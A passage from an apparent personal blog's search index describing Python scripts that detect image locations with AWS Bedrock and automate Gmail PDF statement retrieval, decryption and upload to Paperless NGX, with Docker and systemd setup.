response[\u0026#39;output\u0026#39;][\u0026#39;message\u0026#39;][\u0026#39;content\u0026#39;][0][\u0026#39;text\u0026#39;] return location_analysis except ClientError as e: print(f\u0026#34;AWS Bedrock error for {image_path}: {e}\u0026#34;) return None except Exception as e: print(f\u0026#34;Error analyzing image {image_path}: {e}\u0026#34;) return None Key technical details:\nUses the converse API instead of the older invoke method Low temperature (0.1) for consistent responses Specific prompt engineering to avoid verbose prefixes Handles various image formats through MIME type detection File Management The script organizes results by saving text files alongside images:\nfrom pathlib import Path def save_location_to_file(image_path, location_text): \u0026#34;\u0026#34;\u0026#34;Save location analysis to text file with same name as image\u0026#34;\u0026#34;\u0026#34; try: image_name = Path(image_path).stem image_dir = Path(image_path).parent text_file_path = image_dir / f\u0026#34;{image_name}.txt\u0026#34; with open(text_file_path, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: f.write(location_text) print(f\u0026#34; Saved to: {text_file_path.name}\u0026#34;) return True except Exception as e: print(f\u0026#34;Error saving text file for {image_path}: {e}\u0026#34;) return False def get_image_files(folder_path): \u0026#34;\u0026#34;\u0026#34;Recursively get all image files from folder and subfolders\u0026#34;\u0026#34;\u0026#34; image_extensions = {\u0026#39;.jpg\u0026#39;, \u0026#39;.jpeg\u0026#39;, \u0026#39;.png\u0026#39;, \u0026#39;.gif\u0026#39;, \u0026#39;.bmp\u0026#39;, \u0026#39;.tiff\u0026#39;, \u0026#39;.webp\u0026#39;} image_files = [] for root, dirs, files in os.walk(folder_path): for file in files: file_path = Path(root) / file if file_path.suffix.lower() in image_extensions: image_files.append(file_path) return image_files Main Processing Loop The main function coordinates everything:\ndef process_images(folder_path, aws_region=\u0026#39;us-east-1\u0026#39;, model_id=\u0026#34;anthropic.claude-3-5-sonnet-20241022-v2:0\u0026#34;, resize_images=True, max_size=(1024, 1024), quality=85): \u0026#34;\u0026#34;\u0026#34;Main function to process all images in folder\u0026#34;\u0026#34;\u0026#34; try: bedrock_client = boto3.client( service_name=\u0026#39;bedrock-runtime\u0026#39;, region_name=aws_region ) print(f\u0026#34;Connected to AWS Bedrock in region: {aws_region}\u0026#34;) except Exception as e: print(f\u0026#34;Error connecting to AWS Bedrock: {e}\u0026#34;) return image_files = get_image_files(folder_path) if not image_files: print(f\u0026#34;No image files found in {folder_path}\u0026#34;) return print(f\u0026#34;Found {len(image_files)} image files to process\u0026#34;) processed = 0 failed = 0 for i, image_path in enumerate(image_files, 1): print(f\u0026#34;\\n[{i}/{len(image_files)}] Processing: {image_path.name}\u0026#34;) # Skip if already processed text_file_path = image_path.parent / f\u0026#34;{image_path.stem}.txt\u0026#34; if text_file_path.exists(): print(f\u0026#34; Text file already exists, skipping...\u0026#34;) continue location_analysis = analyze_image_location( bedrock_client, image_path, model_id, resize_images=resize_images, max_size=max_size, quality=quality ) if location_analysis: if save_location_to_file(image_path, location_analysis): processed += 1 print(f\u0026#34; ✓ Success\u0026#34;) else: failed += 1 print(f\u0026#34; ✗ Failed to save\u0026#34;) else: failed += 1 print(f\u0026#34; ✗ Failed to analyze\u0026#34;) print(f\u0026#34;\\nProcessing Complete: {processed} successful, {failed} failed\u0026#34;) Usage Configure and run:\nif __name__ == \u0026#34;__main__\u0026#34;: RESIZE_IMAGES = True MAX_SIZE = (1024, 1024) QUALITY = 85 process_images( folder_path=\u0026#34;/home/user/Pictures/wallpapers/night\u0026#34;, aws_region=\u0026#34;ap-south-1\u0026#34;, model_id=\u0026#34;anthropic.claude-3-5-sonnet-20241022-v2:0\u0026#34;, resize_images=RESIZE_IMAGES, max_size=MAX_SIZE, quality=QUALITY ) Output Example Connected to AWS Bedrock in region: ap-south-1 Found 15 image files to process [1/15] Processing: sunset_beach.jpg Size: 4.2MB → 0.3MB (92.8% reduction) Saved to: sunset_beach.txt ✓ Success [2/15] Processing: mountain_view.png Text file already exists, skipping... Technical Notes Model Options:\nclaude-3-5-sonnet: Good balance of speed and accuracy claude-3-haiku: Faster and cheaper claude-3-opus: Most capable but expensive Error Handling: The script handles network issues, API limits, invalid formats, and file permissions gracefully.\nCost Considerations: Image resizing typically reduces API costs by 80-95%. The skip logic prevents reprocessing already-analyzed images.\n","permalink":"https://madhur.co.in/blog/2026/01/01/image-location-detection-bedrock.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer\u003c/strong\u003e: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eI needed a way to automatically identify locations in a collection of images, so I built a Python script that uses AWS Bedrock\u0026rsquo;s Claude API for image analysis. The script processes images in batches, optimizes them for API efficiency, and saves location descriptions as text files.\u003c/p\u003e","title":"Image location detection using Bedrock and Claude Model"},{"content":"Managing financial documents like bank statements, credit card bills, and tax documents can be tedious. I\u0026rsquo;ve automated this process with a Python script that:\nScans Gmail for emails with PDF attachments Extracts and decrypts password-protected PDFs Organizes files by date and subject Uploads documents to Paperless NGX for long-term storage and OCR Sends notifications via ntfy This script runs daily via a systemd timer, ensuring I never miss important documents. All processed documents are accessible through the Paperless NGX web interface and mobile app, making it easy to access important documents on the go.\nFeatures Automatic PDF Extraction: Scans Gmail for emails matching configured subject patterns Password Removal: Automatically decrypts password-protected PDFs using configurable patterns Email-to-PDF Conversion: Converts entire emails (not just attachments) to PDF for newsletters and important emails Smart Organization: Organizes files by date (Month-Year) and email subject Paperless NGX Integration: Automatically uploads processed documents with metadata Google Drive Backup: Optional Google Drive upload for additional backup Notifications: Sends notifications via ntfy about processing status Duplicate Detection: Skips files that already exist Architecture The script consists of several modules:\ngmail_reader.py: Main script that orchestrates the entire process pdf_processor.py: Handles PDF decryption and validation paperless_uploader.py: Manages Paperless NGX API integration google_drive_uploader.py: Handles Google Drive uploads (optional) ntfy_notifier.py: Sends push notifications Installation Prerequisites pip install PyPDF2 weasyprint html2text pyyaml requests google-auth google-auth-oauthlib google-auth-httplib2 google-api-python-client Configuration Create a config.yaml file:\ndocuments: Bank Statement: subject_pattern: \u0026#34;Your Bank Statement\u0026#34; password_pattern: \u0026#34;your_password_here\u0026#34; Credit Card: subject_pattern: \u0026#34;Your Credit Card Statement\u0026#34; password_pattern: \u0026#34;card_number@{ddmm}\u0026#34; # Date-based password Tax Document: subject_pattern: \u0026#34;Your ITR\u0026#34; password_pattern: \u0026#34;pan_number@dob\u0026#34; # Email-to-PDF conversion for newsletters email_to_pdf: newsletters: enabled: true subject_regex: \u0026#34;Monthly Newsletter\u0026#34; allow_duplicates: false # Email filters email_filters: max_results: 50 days_to_search: 30 # PDF settings pdf_settings: output_directory: \u0026#34;decrypted_statements\u0026#34; open_after_decrypt: false # Gmail settings email_settings: email: \u0026#34;your_email@gmail.com\u0026#34; app_password: \u0026#34;your_app_password\u0026#34; # Generate from Google Account settings # Notifications (optional) ntfy_settings: enabled: true server_url: \u0026#34;https://ntfy.sh\u0026#34; # Or your own ntfy server topic: \u0026#34;your_topic_name\u0026#34; default_priority: \u0026#34;default\u0026#34; # Google Drive (optional) google_drive_settings: enabled: false service_account_file: \u0026#34;oauth_credentials.json\u0026#34; upload_after_decrypt: true keep_local_copy: true # Paperless NGX settings paperless_settings: enabled: true base_url: \u0026#34;https://paperless.example.com\u0026#34; api_token: \u0026#34;your_api_token\u0026#34; # Get from Paperless admin panel timeout: 30 default_tags: - \u0026#34;Email Import\u0026#34; - \u0026#34;Auto Processed\u0026#34; default_correspondent: \u0026#34;Email System\u0026#34; default_document_type: \u0026#34;Statement\u0026#34; Gmail App Password To use Gmail IMAP, you need to generate an app password:\nGo to Google Account Settings Navigate to Security → 2-Step Verification Scroll down to \u0026ldquo;App passwords\u0026rdquo; Generate a new app password for \u0026ldquo;Mail\u0026rdquo; Use this password in your config.yaml Core Script Here\u0026rsquo;s the main gmail_reader.py script:\nimport os import re import yaml import email import imaplib import argparse from datetime import datetime, timedelta from base64 import b64decode from google_drive_uploader import upload_to_drive from paperless_uploader import upload_to_paperless import logging from typing import List, Dict, Any, Tuple, Optional from pdf_processor import PDFProcessor from ntfy_notifier import NtfyNotifier # For email-to-PDF conversion import weasyprint from email.message import EmailMessage import html2text import html from email.utils import parsedate_to_datetime class ImprovedGmailPDFProcessor: def __init__(self, config_path=\u0026#39;config.yaml\u0026#39;): \u0026#34;\u0026#34;\u0026#34;Initialize with configuration file.\u0026#34;\u0026#34;\u0026#34; self.setup_logging() self.load_config(config_path) self.setup_output_directory() self.pdf_processor = PDFProcessor() self.notifier = NtfyNotifier(self.config.get(\u0026#39;ntfy_settings\u0026#39;, {})) # Track processing statistics self.stats = { \u0026#39;total_emails_found\u0026#39;: 0, \u0026#39;total_pdfs_found\u0026#39;: 0, \u0026#39;new_pdfs_processed\u0026#39;: 0, \u0026#39;skipped_existing\u0026#39;: 0, \u0026#39;errors\u0026#39;: 0, \u0026#39;paperless_uploads\u0026#39;: 0, \u0026#39;paperless_failures\u0026#39;: 0, \u0026#39;email_pdfs_created\u0026#39;: 0, \u0026#39;email_pdf_failures\u0026#39;: 0, \u0026#39;new_files\u0026#39;: [] } def setup_logging(self): \u0026#34;\u0026#34;\u0026#34;Setup logging configuration.\u0026#34;\u0026#34;\u0026#34; logging.basicConfig( level=logging.INFO, format=\u0026#39;%(asctime)s - %(name)s - %(levelname)s - %(message)s\u0026#39;, handlers=[ logging.FileHandler(\u0026#39;gmail_pdf_processor.log\u0026#39;), logging.StreamHandler() ] ) self.logger = logging.getLogger(__name__) def load_config(self, config_path): \u0026#34;\u0026#34;\u0026#34;Load configuration from YAML file.\u0026#34;\u0026#34;\u0026#34; try: with open(config_path, \u0026#39;r\u0026#39;) as config_file: self.config = yaml.safe_load(config_file) self.logger.info(\u0026#34;Configuration loaded successfully\u0026#34;) except Exception as e: error_msg = f\u0026#34;Error loading config file: {e}\u0026#34; self.logger.error(error_msg) raise Exception(error_msg) def connect_to_gmail(self) -\u0026gt; imaplib.IMAP4_SSL: \u0026#34;\u0026#34;\u0026#34;Connect to Gmail using IMAP.\u0026#34;\u0026#34;\u0026#34; try: mail = imaplib.IMAP4_SSL(\u0026#34;imap.gmail.com\u0026#34;) mail.login(self.config[\u0026#39;email_settings\u0026#39;][\u0026#39;email\u0026#39;], self.config[\u0026#39;email_settings\u0026#39;][\u0026#39;app_password\u0026#39;]) self.logger.info(\u0026#34;Successfully connected to Gmail\u0026#34;) return mail except Exception as e: error_msg = f\u0026#34;Failed to connect to Gmail: {e}\u0026#34; self.logger.error(error_msg) raise Exception(error_msg) def get_recent_emails_for_pattern(self, mail: imaplib.IMAP4_SSL, subject_pattern: str) -\u0026gt; List[bytes]: \u0026#34;\u0026#34;\u0026#34;Fetch recent emails matching a specific pattern.\u0026#34;\u0026#34;\u0026#34; mail.select(\u0026#39;INBOX\u0026#39;) days = self.config[\u0026#39;email_filters\u0026#39;][\u0026#39;days_to_search\u0026#39;] date_since = (datetime.now() - timedelta(days=days)).strftime(\u0026#34;%d-%b-%Y\u0026#34;) search_criteria = f\u0026#39;(SINCE \u0026#34;{date_since}\u0026#34; SUBJECT \u0026#34;{subject_pattern}\u0026#34;)\u0026#39; self.logger.info(f\u0026#34;Searching for pattern \u0026#39;{subject_pattern}\u0026#39; since {date_since}\u0026#34;) result, messages = mail.search(None, search_criteria) messages = messages[0].split() if messages[0] else [] max_results = self.config[\u0026#39;email_filters\u0026#39;][\u0026#39;max_results\u0026#39;] return messages[-max_results:] if messages else [] def is_pdf_attachment(self, part) -\u0026gt; bool: \u0026#34;\u0026#34;\u0026#34;Check if email part is a PDF attachment.\u0026#34;\u0026#34;\u0026#34; content_type = part.get_content_type() filename = part.get_filename() if content_type == \u0026#39;application/pdf\u0026#39;: return True if content_type == \u0026#39;application/octet-stream\u0026#39; and filename: return filename.lower().endswith(\u0026#39;.pdf\u0026#39;) content_disposition = part.get(\u0026#39;Content-Disposition\u0026#39;, \u0026#39;\u0026#39;) if \u0026#39;attachment\u0026#39; in content_disposition and filename: return filename.lower().endswith(\u0026#39;.pdf\u0026#39;) return False def get_email_date(self, email_message) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Extract email date from message.\u0026#34;\u0026#34;\u0026#34; try: date_str = email_message[\u0026#39;Date\u0026#39;] if not date_str: self.logger.warning(\u0026#34;Email has no Date header, using current date\u0026#34;) return datetime.now().strftime(\u0026#34;%Y/%m/%d\u0026#34;) email_date = parsedate_to_datetime(date_str) return email_date.strftime(\u0026#34;%Y/%m/%d\u0026#34;) except Exception as e: self.logger.error(f\u0026#34;Error parsing email date: {e}\u0026#34;) return datetime.now().strftime(\u0026#34;%Y/%m/%d\u0026#34;) def create_date_subfolder(self, email_date_str: str, base_output_dir: str) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Create date-based subfolder (Month-YYYY format).\u0026#34;\u0026#34;\u0026#34; try: email_date = datetime.strptime(email_date_str, \u0026#34;%Y/%m/%d\u0026#34;) folder_name = email_date.strftime(\u0026#34;%B-%Y\u0026#34;) subfolder_path = os.path.join(base_output_dir, folder_name) if not os.path.exists(subfolder_path): os.makedirs(subfolder_path) self.logger.info(f\u0026#34;Created subfolder: {subfolder_path}\u0026#34;) return subfolder_path except Exception as e: self.logger.error(f\u0026#34;Error creating date subfolder: {e}\u0026#34;) return base_output_dir def sanitize_folder_name(self, folder_name: str) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Sanitize folder name by removing invalid characters.\u0026#34;\u0026#34;\u0026#34; invalid_chars = \u0026#39;\u0026lt;\u0026gt;:\u0026#34;/\\\\|?*\u0026#39; for char in invalid_chars: folder_name = folder_name.replace(char, \u0026#39;_\u0026#39;) folder_name = folder_name.strip(\u0026#39; .\u0026#39;) if len(folder_name) \u0026gt; 100: folder_name = folder_name[:100] if not folder_name: folder_name = \u0026#34;Unknown_Subject\u0026#34; return folder_name def get_password_for_statement(self, doc_config: Dict[str, Any], email_date: str) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Generate password based on pattern and date.\u0026#34;\u0026#34;\u0026#34; password_pattern = doc_config[\u0026#39;password_pattern\u0026#39;] date = datetime.strptime(email_date, \u0026#34;%Y/%m/%d\u0026#34;) replacements = { \u0026#39;{yyyy}\u0026#39;: date.strftime(\u0026#39;%Y\u0026#39;), \u0026#39;{yy}\u0026#39;: date.strftime(\u0026#39;%y\u0026#39;), \u0026#39;{mm}\u0026#39;: date.strftime(\u0026#39;%m\u0026#39;), \u0026#39;{dd}\u0026#39;: date.strftime(\u0026#39;%d\u0026#39;), \u0026#39;{ddmm}\u0026#39;: date.strftime(\u0026#39;%d%m\u0026#39;), \u0026#39;{mmyy}\u0026#39;: date.strftime(\u0026#39;%m%y\u0026#39;), } for placeholder, value in replacements.items(): password_pattern = password_pattern.replace(placeholder, value) return password_pattern def process_email(self, mail: imaplib.IMAP4_SSL, message_id: bytes, doc_type: str, doc_config: Dict[str, Any]) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Process a single email message.\u0026#34;\u0026#34;\u0026#34; try: _, msg_data = mail.fetch(message_id, \u0026#39;(RFC822)\u0026#39;) email_body = msg_data[0][1] email_message = email.message_from_bytes(email_body) subject = self.get_email_subject(email_message) if not subject: return subject_normalized = \u0026#39; \u0026#39;.join(subject.split()) if re.search(doc_config[\u0026#39;subject_pattern\u0026#39;], subject_normalized, re.IGNORECASE): self.logger.info(f\u0026#34;Found matching email for {doc_type}: {subject}\u0026#34;) self.stats[\u0026#39;total_emails_found\u0026#39;] += 1 email_date = self.get_email_date(email_message) base_output_dir = self.config[\u0026#39;pdf_settings\u0026#39;][\u0026#39;output_directory\u0026#39;] date_subfolder = self.create_date_subfolder(email_date, base_output_dir) subject_folder = self.create_subject_folder(date_subfolder, subject) # Process attachments for part in email_message.walk(): if self.is_pdf_attachment(part): filename = part.get_filename() if filename: self.stats[\u0026#39;total_pdfs_found\u0026#39;] += 1 output_filename = os.path.join(subject_folder, filename) if self.pdf_processor.check_existing_pdf(output_filename): self.logger.info(f\u0026#34;PDF already exists, skipping: {output_filename}\u0026#34;) self.stats[\u0026#39;skipped_existing\u0026#39;] += 1 continue pdf_data = part.get_payload(decode=True) if not self.pdf_processor.is_pdf_data_valid(pdf_data): self.logger.warning(f\u0026#34;Invalid PDF data for {filename}\u0026#34;) self.stats[\u0026#39;errors\u0026#39;] += 1 continue password = self.get_password_for_statement(doc_config, email_date) success, error_msg = self.pdf_processor.remove_password_protection( pdf_data, password, output_filename ) if success: self.logger.info(f\u0026#34;Successfully processed new PDF: {output_filename}\u0026#34;) self.stats[\u0026#39;new_pdfs_processed\u0026#39;] += 1 self.stats[\u0026#39;new_files\u0026#39;].append({ \u0026#39;filename\u0026#39;: filename, \u0026#39;path\u0026#39;: output_filename, \u0026#39;doc_type\u0026#39;: doc_type, \u0026#39;subject\u0026#39;: subject }) # Upload to Paperless NGX if configured if self.config.get(\u0026#39;paperless_settings\u0026#39;, {}).get(\u0026#39;enabled\u0026#39;, False): try: paperless_success = upload_to_paperless(output_filename, self.config, doc_type) if paperless_success: self.stats[\u0026#39;paperless_uploads\u0026#39;] += 1 else: self.stats[\u0026#39;paperless_failures\u0026#39;] += 1 except Exception as e: self.stats[\u0026#39;paperless_failures\u0026#39;] += 1 self.logger.error(f\u0026#34;Error uploading to Paperless NGX: {e}\u0026#34;) except Exception as e: self.logger.error(f\u0026#34;Error processing email {message_id}: {e}\u0026#34;) self.stats[\u0026#39;errors\u0026#39;] += 1 def run(self) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Main execution function.\u0026#34;\u0026#34;\u0026#34; try: self.logger.info(\u0026#34;Starting the improved PDF processor...\u0026#34;) mail = self.connect_to_gmail() # Process each document type for doc_type, doc_config in self.config.get(\u0026#39;documents\u0026#39;, {}).items(): self.logger.info(f\u0026#34;Processing {doc_type} documents...\u0026#34;) messages = self.get_recent_emails_for_pattern(mail, doc_config[\u0026#39;subject_pattern\u0026#39;]) self.logger.info(f\u0026#34;Found {len(messages)} matching emails for {doc_type}\u0026#34;) for i, message_id in enumerate(messages, 1): self.logger.info(f\u0026#34;Processing {doc_type} email {i} of {len(messages)}\u0026#34;) self.process_email(mail, message_id, doc_type, doc_config) mail.logout() self.print_processing_summary() self.send_completion_notification() self.logger.info(\u0026#34;Processing completed successfully!\u0026#34;) except Exception as e: error_msg = f\u0026#34;An error occurred: {e}\u0026#34; self.logger.error(error_msg) self.notifier.send_error_notification( message=f\u0026#34;PDF processor failed: {str(e)[:200]}...\u0026#34;, title=\u0026#34;PDF Processor Error\u0026#34; ) raise if __name__ == \u0026#34;__main__\u0026#34;: parser = argparse.ArgumentParser(description=\u0026#39;Gmail PDF Processor\u0026#39;) parser.add_argument(\u0026#39;-c\u0026#39;, \u0026#39;--config\u0026#39;, type=str, default=\u0026#39;config.yaml\u0026#39;, help=\u0026#39;Path to the configuration YAML file\u0026#39;) args = parser.parse_args() if not os.path.exists(args.config): print(f\u0026#34;Error: Configuration file \u0026#39;{args.config}\u0026#39; not found!\u0026#34;) exit(1) processor = ImprovedGmailPDFProcessor(config_path=args.config) processor.run() PDF Processor Module The pdf_processor.py handles PDF decryption:\nimport os import tempfile import PyPDF2 import logging from typing import Tuple, Optional class PDFProcessor: \u0026#34;\u0026#34;\u0026#34;Handles PDF processing operations like password removal.\u0026#34;\u0026#34;\u0026#34; def __init__(self): self.logger = logging.getLogger(__name__) def is_pdf_data_valid(self, pdf_data: bytes) -\u0026gt; bool: \u0026#34;\u0026#34;\u0026#34;Check if the provided data is valid PDF content.\u0026#34;\u0026#34;\u0026#34; if not pdf_data: return False return pdf_data.startswith(b\u0026#39;%PDF\u0026#39;) def check_existing_pdf(self, file_path: str) -\u0026gt; bool: \u0026#34;\u0026#34;\u0026#34;Check if a PDF file already exists at the given path.\u0026#34;\u0026#34;\u0026#34; if not os.path.exists(file_path): return False try: with open(file_path, \u0026#39;rb\u0026#39;) as f: header = f.read(8) if header.startswith(b\u0026#39;%PDF\u0026#39;): return True return False except Exception as e: self.logger.warning(f\u0026#34;Error checking existing PDF {file_path}: {e}\u0026#34;) return False def remove_password_protection(self, pdf_data: bytes, password: str, output_path: str) -\u0026gt; Tuple[bool, Optional[str]]: \u0026#34;\u0026#34;\u0026#34;Remove password protection from PDF and save it.\u0026#34;\u0026#34;\u0026#34; temp_path = None try: if not self.is_pdf_data_valid(pdf_data): return False, \u0026#34;Invalid PDF data provided\u0026#34; with tempfile.NamedTemporaryFile(delete=False, suffix=\u0026#39;.pdf\u0026#39;) as temp_file: temp_file.write(pdf_data) temp_path = temp_file.name pdf_reader = PyPDF2.PdfReader(temp_path) if pdf_reader.is_encrypted: if not pdf_reader.decrypt(password): return False, f\u0026#34;Failed to decrypt PDF with provided password\u0026#34; self.logger.info(\u0026#34;Successfully decrypted password-protected PDF\u0026#34;) else: self.logger.info(\u0026#34;PDF was not password-protected\u0026#34;) pdf_writer = PyPDF2.PdfWriter() for page in pdf_reader.pages: pdf_writer.add_page(page) os.makedirs(os.path.dirname(output_path), exist_ok=True) with open(output_path, \u0026#39;wb\u0026#39;) as output_file: pdf_writer.write(output_file) self.logger.info(f\u0026#34;Successfully processed PDF: {output_path}\u0026#34;) return True, None except Exception as e: error_msg = f\u0026#34;Error processing PDF: {e}\u0026#34; self.logger.error(error_msg) return False, error_msg finally: if temp_path and os.path.exists(temp_path): try: os.unlink(temp_path) except Exception as e: self.logger.warning(f\u0026#34;Failed to delete temporary file {temp_path}: {e}\u0026#34;) Paperless NGX Uploader The paperless_uploader.py handles integration with Paperless NGX:\nimport os import requests import logging from datetime import datetime from typing import Optional, Dict, Any, List import mimetypes class PaperlessNGXUploader: \u0026#34;\u0026#34;\u0026#34;A generic uploader for Paperless NGX instances.\u0026#34;\u0026#34;\u0026#34; def __init__(self, config: Dict[str, Any]): self.base_url = config[\u0026#39;base_url\u0026#39;].rstrip(\u0026#39;/\u0026#39;) self.api_token = config[\u0026#39;api_token\u0026#39;] self.timeout = config.get(\u0026#39;timeout\u0026#39;, 30) self.headers = { \u0026#39;Authorization\u0026#39;: f\u0026#39;Token {self.api_token}\u0026#39;, \u0026#39;Accept\u0026#39;: \u0026#39;application/json\u0026#39; } self.default_tags = config.get(\u0026#39;default_tags\u0026#39;, []) self.default_correspondent = config.get(\u0026#39;default_correspondent\u0026#39;) self.default_document_type = config.get(\u0026#39;default_document_type\u0026#39;) self.logger = logging.getLogger(__name__) self._tag_cache = {} self._correspondent_cache = {} self._document_type_cache = {} def _make_request(self, method: str, endpoint: str, **kwargs) -\u0026gt; requests.Response: \u0026#34;\u0026#34;\u0026#34;Make an API request to Paperless NGX.\u0026#34;\u0026#34;\u0026#34; url = f\u0026#34;{self.base_url}/api{endpoint}\u0026#34; try: response = requests.request( method=method, url=url, headers=self.headers, timeout=self.timeout, **kwargs ) response.raise_for_status() return response except requests.exceptions.RequestException as e: self.logger.error(f\u0026#34;API request failed: {e}\u0026#34;) raise def _get_or_create_tag(self, tag_name: str) -\u0026gt; int: \u0026#34;\u0026#34;\u0026#34;Get tag ID by name, create if doesn\u0026#39;t exist.\u0026#34;\u0026#34;\u0026#34; if tag_name in self._tag_cache: return self._tag_cache[tag_name] response = self._make_request(\u0026#39;GET\u0026#39;, \u0026#39;/tags/\u0026#39;, params={\u0026#39;name\u0026#39;: tag_name}) results = response.json()[\u0026#39;results\u0026#39;] if results: tag_id = results[0][\u0026#39;id\u0026#39;] else: data = {\u0026#39;name\u0026#39;: tag_name} response = self._make_request(\u0026#39;POST\u0026#39;, \u0026#39;/tags/\u0026#39;, json=data) tag_id = response.json()[\u0026#39;id\u0026#39;] self.logger.info(f\u0026#34;Created new tag: {tag_name} (ID: {tag_id})\u0026#34;) self._tag_cache[tag_name] = tag_id return tag_id def upload_file(self, file_path: str, title: Optional[str] = None, tags: Optional[List[str]] = None, correspondent: Optional[str] = None, document_type: Optional[str] = None, created_date: Optional[datetime] = None) -\u0026gt; Dict[str, Any]: \u0026#34;\u0026#34;\u0026#34;Upload a file to Paperless NGX.\u0026#34;\u0026#34;\u0026#34; if not os.path.exists(file_path): raise FileNotFoundError(f\u0026#34;File not found: {file_path}\u0026#34;) filename = os.path.basename(file_path) self.logger.info(f\u0026#34;Uploading file to Paperless NGX: {filename}\u0026#34;) mime_type, _ = mimetypes.guess_type(file_path) if mime_type is None: mime_type = \u0026#39;application/octet-stream\u0026#39; form_data = {} if title: form_data[\u0026#39;title\u0026#39;] = title else: form_data[\u0026#39;title\u0026#39;] = os.path.splitext(filename)[0] tag_ids = [] all_tags = (tags or []) + self.default_tags for tag_name in all_tags: if tag_name: tag_id = self._get_or_create_tag(tag_name) tag_ids.append(tag_id) if tag_ids: form_data[\u0026#39;tags\u0026#39;] = tag_ids correspondent_name = correspondent or self.default_correspondent if correspondent_name: correspondent_id = self._get_or_create_correspondent(correspondent_name) form_data[\u0026#39;correspondent\u0026#39;] = correspondent_id doc_type_name = document_type or self.default_document_type if doc_type_name: doc_type_id = self._get_or_create_document_type(doc_type_name) form_data[\u0026#39;document_type\u0026#39;] = doc_type_id if created_date: form_data[\u0026#39;created\u0026#39;] = created_date.strftime(\u0026#39;%Y-%m-%d\u0026#39;) with open(file_path, \u0026#39;rb\u0026#39;) as file: files = { \u0026#39;document\u0026#39;: (filename, file, mime_type) } response = self._make_request( \u0026#39;POST\u0026#39;, \u0026#39;/documents/post_document/\u0026#39;, data=form_data, files=files ) result = response.json() self.logger.info(f\u0026#34;Successfully uploaded {filename} to Paperless NGX\u0026#34;) return result def test_connection(self) -\u0026gt; bool: \u0026#34;\u0026#34;\u0026#34;Test connection to Paperless NGX instance.\u0026#34;\u0026#34;\u0026#34; try: response = self._make_request(\u0026#39;GET\u0026#39;, \u0026#39;/documents/\u0026#39;, params={\u0026#39;page_size\u0026#39;: 1}) self.logger.info(\u0026#34;Successfully connected to Paperless NGX\u0026#34;) return True except Exception as e: self.logger.error(f\u0026#34;Failed to connect to Paperless NGX: {e}\u0026#34;) return False Running Paperless NGX in Docker Paperless NGX is a document management system that automatically OCRs and indexes your documents. Here\u0026rsquo;s how to run it using Docker Compose:\nDocker Compose Configuration Create a docker-compose.yml file:\nservices: db: image: docker.io/library/postgres:17 restart: unless-stopped volumes: - pgdata:/var/lib/postgresql/data environment: POSTGRES_DB: paperless POSTGRES_USER: paperless POSTGRES_PASSWORD: paperless networks: - paperless-network webserver: image: ghcr.io/paperless-ngx/paperless-ngx:latest restart: unless-stopped depends_on: - db - gotenberg - tika volumes: - data:/usr/src/paperless/data - media:/usr/src/paperless/media - ./export:/usr/src/paperless/export - ./consume:/usr/src/paperless/consume env_file: docker-compose.env networks: - paperless-network environment: PAPERLESS_DBHOST: db PAPERLESS_TIKA_ENABLED: 1 PAPERLESS_TIKA_GOTENBERG_ENDPOINT: http://gotenberg:3000 PAPERLESS_TIKA_ENDPOINT: http://tika:9998 gotenberg: image: docker.io/gotenberg/gotenberg:8.22 restart: unless-stopped networks: - paperless-network command: - \u0026#34;gotenberg\u0026#34; - \u0026#34;--chromium-disable-javascript=true\u0026#34; - \u0026#34;--chromium-allow-list=file:///tmp/.*\u0026#34; tika: image: docker.io/apache/tika:latest networks: - paperless-network restart: unless-stopped volumes: data: media: pgdata: networks: paperless-network: driver: bridge Environment Configuration Create a docker-compose.env file:\n# Paperless URL (required for public access) PAPERLESS_URL=https://paperless.example.com # Secret key (generate a long random string) PAPERLESS_SECRET_KEY=your_secret_key_here # Timezone PAPERLESS_TIME_ZONE=America/New_York # OCR Language PAPERLESS_OCR_LANGUAGE=eng Installation Steps Create directories: mkdir -p paperless/{export,consume} cd paperless Create the docker-compose.yml and docker-compose.env files (as shown above)\nPull images:\ndocker compose pull Start Paperless: docker compose up -d Create admin user: docker compose exec webserver createsuperuser Get API token: Log in to Paperless web interface Go to Settings → API Tokens Create a new token Use this token in your config.yaml Accessing Paperless Web interface: http://localhost:8000 (or your configured URL) API documentation: http://localhost:8000/api/docs/ Mobile Access with Paperless NGX Android App One of the best features of this setup is the ability to access all your documents on the go using the Paperless Mobile app by Anton Stubenbord. This is a native Android app (not just a webview) that provides an excellent mobile experience for managing your Paperless NGX documents.\nFeatures of the mobile app:\nFull document access: View and search all your processed documents, including bank statements, credit card bills, and tax documents Document management: Add, delete, or edit documents directly from your phone Share and download: Share, download, print and preview documents Scan and upload: Scan documents with your phone camera and upload them with preset correspondent, document type, tags and creation date Inbox management: Review and quickly process newly added documents in the inbox Security: Secure your data with biometric authentication Multiple instances: Seamlessly switch between different accounts and Paperless instances Modern UI: Built according to Material Design 3 specification with light and dark themes Multi-language support: Available in English, German, French, Spanish, Catalan, Polish, Czech, Russian and Turkish Setting up the mobile app:\nInstall the Paperless Mobile app from Google Play Store Open the app and add your Paperless NGX server URL Log in with your credentials (or use API token authentication) Start browsing your documents! The app has a 4.6-star rating with over 50K+ downloads and provides a native mobile experience that\u0026rsquo;s much better than using the web interface on mobile.\nHere\u0026rsquo;s a screenshot of the app showing my processed documents:\nThe mobile app makes it incredibly convenient to access important documents like bank statements or tax documents when you\u0026rsquo;re away from your computer. Since all documents are automatically OCR\u0026rsquo;d by Paperless NGX, you can search for specific text within documents directly from your phone.\nAutomation with Systemd To run the script daily, create a systemd timer:\nService File (~/.config/systemd/user/gmail-pdf-processor.service) [Unit] Description=Gmail PDF Processor After=network.target [Service] Type=oneshot ExecStart=/usr/bin/python3 /path/to/gmail_reader.py -c /path/to/config.yaml WorkingDirectory=/path/to/email_reader StandardOutput=journal StandardError=journal Timer File (~/.config/systemd/user/gmail-pdf-processor.timer) [Unit] Description=Run Gmail PDF Processor daily Requires=gmail-pdf-processor.service [Timer] OnCalendar=daily OnCalendar=*-*-* 09:00:00 